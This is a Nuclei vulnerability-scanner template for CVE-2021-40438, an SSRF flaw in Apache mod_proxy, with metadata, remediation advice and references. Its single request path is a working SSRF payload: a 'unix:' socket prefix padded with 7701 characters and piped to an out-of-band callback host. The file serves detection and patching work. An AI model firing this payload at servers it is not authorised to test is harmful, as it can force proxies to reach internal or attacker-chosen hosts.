nuclei-templates/http/cves/2021/CVE-2021-40438.yaml

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1.6 KiB
YAML

id: CVE-2021-40438
info:
name: Apache <= 2.4.48 - Mod_Proxy SSRF
author: pdteam
severity: critical
description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
remediation: Upgrade to Apache version 2.4.49 or later.
reference:
- https://firzen.de/building-a-poc-for-cve-2021-40438
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-40438
- https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf
- https://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9
cve-id: CVE-2021-40438
cwe-id: CWE-918
epss-score: 0.97279
epss-percentile: 0.99809
cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: http_server
tags: cve,cve2021,ssrf,apache,mod-proxy,kev
http:
- method: GET
path:
- '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}'
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
words:
- "Interactsh Server"
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 490a004630440220055fb50b70c84a3a1d4a93890d89feaa76ce3bd126e20fff98b3eccd8e4dd06d02206596cda9802bb4f0125594c8316c0e55759914b2deb53a410a40f9bd2b07c99a:922c64590222798bb761d5b6d8e72950